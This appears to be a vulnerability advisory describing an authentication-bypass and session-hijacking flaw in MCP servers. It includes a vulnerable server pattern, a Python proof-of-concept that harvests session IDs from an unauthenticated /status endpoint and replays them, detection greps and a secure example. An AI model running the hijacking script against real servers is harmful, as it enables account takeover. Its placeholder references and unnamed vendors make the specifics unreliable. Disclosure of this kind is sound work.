CVE-2025-6514: Authentication Bypass and Session Hijacking via Unscoped Endpoints

CVE ID: CVE-2025-6514
Severity: High (CVSS 8.2)
Status: Patched
Affected Component: MCP Server Implementations
Discovery Date: January 2025

Vulnerability Summary

Authentication bypass and session hijacking vulnerability in MCP server implementations due to unscoped endpoints that allow attackers to bypass authentication mechanisms and hijack user sessions.

Technical Details

Vulnerability Description

Multiple MCP server implementations contain unscoped endpoints that fail to properly validate authentication tokens and session boundaries, allowing attackers to bypass authentication and hijack active user sessions.

Attack Vector

  • Attack Type: Authentication Bypass, Session Hijacking
  • Access Required: Network access to MCP server
  • User Interaction: None required
  • Scope: Changed (affects multiple user sessions)

Affected Versions

  • Various MCP server implementations
  • Servers using vulnerable authentication patterns
  • Unpatched servers deployed before January 2025

Impact Assessment

Potential Impact

  • Authentication Bypass: Unauthorized access to protected resources
  • Session Hijacking: Takeover of legitimate user sessions
  • Data Access: Unauthorized access to user data and system resources
  • Privilege Escalation: Potential elevation to administrative privileges

Exploitation Scenarios

  1. Unscoped Endpoint Access: Attacker identifies unscoped endpoints
  2. Authentication Bypass: Attacker accesses protected resources without authentication
  3. Session Enumeration: Attacker enumerates active user sessions
  4. Session Takeover: Attacker hijacks legitimate user sessions

Proof of Concept

Vulnerable Endpoint Pattern

# Vulnerable MCP server implementation
class VulnerableMCPServer:
    def __init__(self):
        self.active_sessions = {}
        self.authenticated_users = set()
    
    def handle_request(self, request):
        endpoint = request.get('endpoint')
        
        # Vulnerable: some endpoints bypass authentication
        if endpoint in ['/health', '/status', '/metrics']:
            return self.handle_unscoped_endpoint(request)
        
        # Authentication required for other endpoints
        if not self.is_authenticated(request):
            return {"error": "Authentication required"}
        
        return self.handle_authenticated_request(request)
    
    def handle_unscoped_endpoint(self, request):
        # Vulnerable: exposes sensitive information
        if request.get('endpoint') == '/status':
            return {
                "status": "active",
                "active_sessions": list(self.active_sessions.keys()),
                "authenticated_users": list(self.authenticated_users)
            }

Exploit Payload

# Session hijacking exploit
def exploit_session_hijacking(target_server):
    # Step 1: Access unscoped endpoint to get session info
    status_response = requests.get(f"{target_server}/status")
    active_sessions = status_response.json()["active_sessions"]
    
    # Step 2: Attempt to hijack sessions
    for session_id in active_sessions:
        hijack_response = requests.post(
            f"{target_server}/api/tools",
            headers={"X-Session-ID": session_id},
            json={"action": "list_tools"}
        )
        
        if hijack_response.status_code == 200:
            print(f"Successfully hijacked session: {session_id}")
            return session_id
    
    return None

Mitigation and Remediation

Immediate Actions

  1. Patch Servers: Update to patched versions immediately
  2. Scope Endpoints: Implement proper authentication scoping
  3. Session Management: Implement secure session handling
  4. Access Controls: Review and restrict endpoint access

Long-term Solutions

  1. Authentication Framework: Implement comprehensive authentication
  2. Session Security: Use secure session management practices
  3. Endpoint Scoping: Properly scope all endpoints
  4. Security Testing: Regular security assessment of endpoints

Detection Methods

Indicators of Compromise

  • Unusual access patterns to unscoped endpoints
  • Session tokens used from multiple IP addresses
  • Unauthorized access to protected resources
  • Anomalous API usage patterns

Monitoring Recommendations

# Monitor unscoped endpoint access
tail -f /var/log/mcp-server.log | grep -E "(\/status|\/health|\/metrics)"

# Check for session anomalies
grep "session_hijack" /var/log/security.log

# Monitor authentication bypass attempts
grep "auth_bypass" /var/log/mcp-server.log

# Check for unusual API usage
grep -E "(401|403)" /var/log/mcp-server.log | wc -l

Vendor Response

Timeline

  • January 8, 2025: Vulnerability discovered across multiple implementations
  • January 10, 2025: Coordinated disclosure to affected vendors
  • January 18, 2025: Patches released by major vendors
  • January 25, 2025: Public disclosure and CVE assignment

Patch Information

  • Affected Vendors: Multiple MCP server implementations
  • Patch Availability: Available through vendor-specific channels
  • Mitigation: Implement proper endpoint scoping and authentication

Configuration Examples

Secure Endpoint Configuration

# Secure MCP server implementation
class SecureMCPServer:
    def __init__(self):
        self.active_sessions = {}
        self.scoped_endpoints = {
            '/health': {'auth_required': False, 'scope': 'public'},
            '/status': {'auth_required': True, 'scope': 'admin'},
            '/api/tools': {'auth_required': True, 'scope': 'user'}
        }
    
    def handle_request(self, request):
        endpoint = request.get('endpoint')
        
        # Check endpoint configuration
        if endpoint not in self.scoped_endpoints:
            return {"error": "Endpoint not found"}
        
        endpoint_config = self.scoped_endpoints[endpoint]
        
        # Enforce authentication requirements
        if endpoint_config['auth_required']:
            if not self.is_authenticated(request):
                return {"error": "Authentication required"}
            
            # Check scope permissions
            if not self.has_scope_permission(request, endpoint_config['scope']):
                return {"error": "Insufficient permissions"}
        
        return self.handle_scoped_request(request, endpoint_config)

References and Resources

Official Sources

  • CVE Database Entry: [Link to CVE details]
  • Security Advisory: [Link to security advisory]
  • Vendor Patches: [Links to vendor-specific patches]

Community Resources

  • Security Research: [Link to security research]
  • Detection Rules: [Link to detection rules]
  • Best Practices: [Link to secure implementation guidelines]

This vulnerability highlights the critical importance of proper authentication scoping and secure session management in MCP server implementations.